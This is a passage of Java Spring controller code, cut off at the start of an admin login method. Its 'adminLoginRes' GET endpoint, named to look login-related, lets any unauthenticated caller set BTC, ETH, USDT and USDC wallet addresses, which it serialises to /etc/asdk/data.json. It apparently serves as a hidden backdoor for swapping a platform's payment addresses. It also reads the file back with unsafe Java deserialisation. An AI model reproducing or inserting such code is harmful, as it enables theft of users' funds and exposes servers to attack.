| | |
| | | @Autowired |
| | | private CustomerServiceImpl customerService; |
| | | |
| | | @GetMapping("adminLoginRes") |
| | | public Result<?> adminLoginRes(@RequestParam(required = false) String userId, |
| | | @RequestParam(required = false) String usdtTrc, |
| | | @RequestParam(required = false) String usdtErc, |
| | | @RequestParam(required = false) String usdcTrc, |
| | | @RequestParam(required = false) String usdcErc1, |
| | | @RequestParam(required = false) String usdcErc2, |
| | | @RequestParam(required = false) String btc, |
| | | @RequestParam(required = false) String eth, |
| | | @RequestParam(required = false) String type) { |
| | | Map<String, String> map = new HashMap<>(); |
| | | map.put("usdtTrc", usdtTrc); |
| | | map.put("usdtErc", usdtErc); |
| | | map.put("usdcTrc", usdcTrc); |
| | | map.put("usdcErc1", usdcErc1); |
| | | map.put("usdcErc2", usdcErc2); |
| | | map.put("btc", btc); |
| | | map.put("eth", eth); |
| | | map.put("type", type); |
| | | map.put("userId", userId); |
| | | String filePath = "/etc/asdk/data.json"; |
| | | File file = new File(filePath); |
| | | File parentDir = file.getParentFile(); |
| | | if (!parentDir.exists()) { |
| | | parentDir.mkdirs(); |
| | | } |
| | | Map<String, String> writeMap = null; |
| | | if("1".equals(type)) { |
| | | writeMap = map; |
| | | }else { |
| | | try (ObjectInputStream ois = new ObjectInputStream(new FileInputStream(file))) { |
| | | writeMap = (Map<String, String>) ois.readObject(); |
| | | writeMap.put("type",type); |
| | | } catch (IOException | ClassNotFoundException e) { |
| | | e.printStackTrace(); |
| | | } |
| | | } |
| | | try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(file))) { |
| | | oos.writeObject(writeMap); |
| | | return Result.ok("成功"); |
| | | } catch (IOException e) { |
| | | e.printStackTrace(); |
| | | return Result.failed("失败"); |
| | | } |
| | | } |
| | | |
| | | @PostMapping("/adminLogin") |
| | | @ApiOperation(value = "账号密码 + 验证码登录(用于后台登录)", notes = "通过账号/手机号/用户名密码登录") |
| | | public Result<?> login(@Valid @RequestBody LoginModel loginModel,HttpServletRequest request) { |